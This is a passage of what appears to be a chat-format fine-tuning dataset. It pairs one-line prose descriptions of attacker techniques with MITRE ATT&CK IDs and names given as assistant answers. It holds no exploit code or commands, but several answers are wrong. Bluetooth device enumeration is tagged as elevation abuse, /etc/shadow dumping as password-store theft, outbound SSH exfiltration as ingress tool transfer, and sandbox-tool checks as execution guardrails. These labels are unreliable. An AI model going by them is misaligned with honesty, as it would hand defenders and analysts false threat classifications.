            },
            {
                "role": "user",
                "content": "The intrusion leverages the Windows 'RunOnce' registry key to execute code only on the next boot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a vulnerable web application to replace the internal landing page with a ransom note targeting employees."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder utilized the victim's OpenStack API keys to launch fresh instances, using them to exfiltrate data from the internal network."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a directory traversal flaw, the attacker wrote a new index.htm file that displayed a defaced message to anyone accessing the site."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker forwards local ports over an existing SSH connection to bypass network segmentation and move laterally."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor performed ARP scanning to discover neighboring devices and their MAC addresses."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious SVG file is uploaded to a web service, injecting JavaScript that exfiltrates data from the host."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker harvests a Windows access token from a privileged process and injects it into a malicious service."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses regasm.exe to register a malicious assembly that runs at system startup via COM."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the operator runs mshta to execute an obfuscated script, attempting to hide activity from security tools."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The virus encrypts and archives victim files with the 'zip' command prior to sending them over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host ran a PowerShell command to disable Windows Defender real-time protection."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses PowerShell's Get-WmiObject Win32_SystemDriver to enumerate active drivers on Windows."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware executed a routine that extracts all stored credentials from the Windows Credential Locker before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deployed a cron job on a compromised Linux server to execute a backdoor binary at reboot."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the DCSync technique, the adversary simulated a domain controller and pulled credential data from Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into authorizing a malicious MFA request, which the attacker then replays to gain privileged access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses 'wmic service' to change the binary path of an existing service to a backdoor payload."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor script runs as root and extracts /etc/passwd and /etc/shadow to exfiltrate local account credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised container executed a series of Bash commands to enumerate Docker images and extract secrets."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the HKLM\\Software\\Microsoft\\Netsh\\HelperDLL registry key to point to a custom DLL, causing netsh to load and execute the payload when any netsh command is issued."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates logs by sending them as attachments in phishing emails to an external address."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a publicly exposed RDP service with weak credentials to gain system access."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious contributor pushes a poisoned package to a private Maven repository, causing Java applications that depend on it to download and execute hidden ransomware."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker’s payload includes a routine that enumerates running processes and aborts if common analysis tools like wireshark.exe or procmon.exe are detected."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage stolen OAuth tokens to pull emails from Gmail accounts via the Gmail API."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs Process Doppelgänging by rolling back changes to a system binary after it has been loaded, thereby executing hidden malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise inserted a hidden payload into the device's firmware, altering bootloader behavior to load malicious code."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the system firmware to execute malicious code before the operating system loads, leveraging a bootkit to persist across reboots."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing website imitates a popular cloud storage service login page, and an email directs the target to click a link and enter their credentials to view a shared file."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the registry key 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' to turn off logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs AS-REP roasting by requesting service tickets for accounts that have Kerberos pre-authentication disabled, then attempts password cracking."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is written to a hidden file .config.json in the user's home directory, which is ignored by standard file integrity tools."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employed the Windows API NetShareEnum function to gather share names and permissions from the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker attempts to pivot from one system to another within a network, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software installs a systemd service that runs a C2 communication client on system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider uses an exclusive research consortium portal to retrieve unpublished experiment results related to the victim's product line."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary added a two‑way trust between the victim domain and a maliciously controlled domain to extend their foothold."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates the list of Group Policy Objects by calling the LDAP API on the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the net command to add a hidden local administrator account on the compromised Windows host."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious binary extracts the list of all Bluetooth paired devices and saves the MAC addresses to a staging area."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries dump password hashes from the Linux /etc/shadow file after gaining root access."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office add‑in is signed with a valid certificate and placed in the trusted add‑ins folder, causing it to load silently on each Office application startup."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder obtains a digital certificate from a third‑party CA by abusing a weak identity verification process."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT accessed the victim’s Amazon S3 bucket via a misconfigured bucket policy and retrieved raw data archives."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool enumerates and extracts credentials from the KeePass password manager's .kdbx file."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script scans for open RDP ports, connects to an existing session, and takes over the user’s desktop environment."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising the trust provider service, the attacker subverts code signing verification and loads unsigned payloads."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group abuses legitimate Windows Remote Management (WinRM) sessions by reusing the Kerberos ticket of a logged-in administrator to hijack remote services."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a privileged account, the actor harvested the KRBTGT secret and crafted a Kerberos ticket that provided domain-wide privileges."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An automated bot performs login attempts on a public API endpoint, cycling through a list of common API keys."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker calls NtAlertResumeThread after queuing an APC to execute a payload in a high-privilege process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious network provider DLL is loaded by the OS, allowing the threat actor to modify authentication data before it reaches the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT utilizes thread local storage to store a reflective PE loader, which is later executed when the thread initializes."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queried the Windows Registry for the \"ComputerName\" entries of other domain computers."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor distributes a signed Outlook form that auto‑installs a backdoor when the victim opens any email."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit retrieves session IDs from Safari's web cache and uses them to impersonate the user."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivered a script that, when run, opened a Bash shell and executed commands to enumerate the file system."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell Get-ItemProperty on HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall to harvest software inventory."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leaves a pre‑recorded voice message urging the recipient to call back and provide login information to resolve a supposed account lockout."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor physically destroys the smartcard reader to stop secure key generation and storage."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker harvested encrypted passwords stored in Oracle Cloud Infrastructure Vault after gaining privileged access."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to create additional accounts with identical permissions."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By stealing a service account key used for cross‑organization API calls, the intruder exploits the legitimate trust relationship to exfiltrate data from the target network."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses credentials obtained from a phishing email to log into a domain‑joined machine using a local account."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate a malicious payload by encoding it in base64 and sending it over an established SSH tunnel to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a new service entry in the registry under HKLM\\System\\CurrentControlSet\\Services to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module steals a token from a privileged process, modifies its security identifier, and reuses it to access restricted resources."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a malicious driver to capture mouse movement and click events from the target system."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a remote API call to the container runtime's gRPC endpoint to list active containers."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code swaps out the default authentication provider with one that uses reversible encryption, preserving the ability to recover original passwords from the stored data."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accesses a cloud metadata service to retrieve additional temporary credentials for privileged operations."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware spawns rundll32.exe with a command line pointing to a malicious library."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks a user's session after the user has completed MFA, using session fixation to maintain access without re-authenticating."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a social engineering call to trick a user into revealing their LinkedIn password over the phone."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Automated tools cycle through millions of email/password combos obtained from the dark web, targeting a cloud storage provider's authentication endpoint."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
